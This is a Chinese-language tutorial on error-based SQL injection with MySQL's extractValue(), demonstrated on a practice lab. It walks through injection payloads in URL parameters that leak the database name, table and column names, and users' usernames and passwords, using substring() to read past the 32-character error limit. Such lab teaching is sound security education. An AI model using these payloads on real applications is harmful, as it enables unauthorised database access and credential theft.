sql盲注_extractvalue报错注入

什么是报错注入
这是一种页面响应形式,响应过程如下:
用户1在前台页面输入检索内容------>后台将前台页面上输入的检索内容无加区别的拼成sql语句,送到数据库执行------->数据库将执行的结果无加区别的显示到前台页面上
俩个“无加区别”<-----报错注入存在的基础----->后台对输入输出的合理性没有做检查
也就是说输入进去的内容和输出的内容不做检查的
那什么时候用报错注入呢?
sql盲注_extractvalue报错注入_第1张图片

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
返回报错提示中包含数据库中的内容
命令对但是不回显
sql盲注_extractvalue报错注入_第2张图片
但是报错是可以报错的,写错一个字母让它报错
sql盲注_extractvalue报错注入_第3张图片
可以看到数据库名称叫security
通过extractValue()报错注入
函数extractValue()包含俩个参数
第一参数 XML文档对象名称,第二参数路径
以创建ctfstu和数据库xml为示例,展示函数extractValue()的用法
1.创建数据库

CREATE DATABASE ctfstu charset utf8;

2.创建xml表

create table xml(doc varchar(500))

3.添加数据

INSERT INTO `xml`(`doc`) VALUES ('
                                 
 a bad boy how to get a girlfriend                                
                                 
 Love                                
 benben                                  
                                 
                                 
 ');
INSERT INTO `xml`(`doc`) VALUES ('
                                 
 how to become a bad boy                                
                                 
 hualong                                
 Melton                                  
                                 
                                 
 ');

extractValue(列名,路径)函数查询里面的内容
查询作者是谁
因为标签里面的类型是字符串型所以要加引号

select extractValue(doc,'book/author/surname') from xml

extractValue(doc,‘book/author/surname’)
extractValue(列名,book标签下面的author标签下面的surname标签里面的内容)
sql盲注_extractvalue报错注入_第4张图片
查询书名

select extractValue(doc,'book/title') from xml

sql盲注_extractvalue报错注入_第5张图片
把查询参数路径写错

select extractValue(doc,'book/titlel') from xml

sql盲注_extractvalue报错注入_第6张图片
只是没有数据没有报错

select extractValue(doc,'~book/titlel') from xml

sql盲注_extractvalue报错注入_第7张图片
有报错
concat()函数

SELECT concat(1,2)

sql盲注_extractvalue报错注入_第8张图片
其实就是把1和2拼在一起12
把~转换成ASCII码0x7e

select concat(0x7e,(select database()))

sql盲注_extractvalue报错注入_第9张图片
得到数据库名为ctfstu
因为extractValue()路径上有~ 会报错,所以给语句拼接上~让它报错

SELECT extractValue(1,concat(0x7e,(select database())))

sql盲注_extractvalue报错注入_第10张图片
得到数据库名
去靶场练习
查询有闭合符号

?id=1'

sql盲注_extractvalue报错注入_第11张图片

明显单引号闭合
查询有多少列

?id=1' union select 1,23--+

sql盲注_extractvalue报错注入_第12张图片
查询数据库名,利用报错

?id=1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+

sql盲注_extractvalue报错注入_第13张图片

得到数据库名为security
查询当前数据库的表

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()))) --+

sql盲注_extractvalue报错注入_第14张图片
得到数据库的表名
查看表的内容

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='users'))) --+

sql盲注_extractvalue报错注入_第15张图片

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,password) from users)))--+

sql盲注_extractvalue报错注入_第16张图片
不好区分username和password,加一个~分开

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))--+

sql盲注_extractvalue报错注入_第17张图片
默认只能返回32字符串
使用函数substring()函数解决只能返回32个字符串的问题(功能和substr函数一样)
substring((字符串),从第几个字符开始,一次输出几个)因为有32的局限所以每次开始的字符都要不一样才能拼成完整的答案

?id=1' and 1=extractvalue(1,concat(0x7e,(select substring((select group_concat(username,'~',password) from users),25,30))))--+

sql盲注_extractvalue报错注入_第18张图片

你可能感兴趣的:(sql,数据库,database)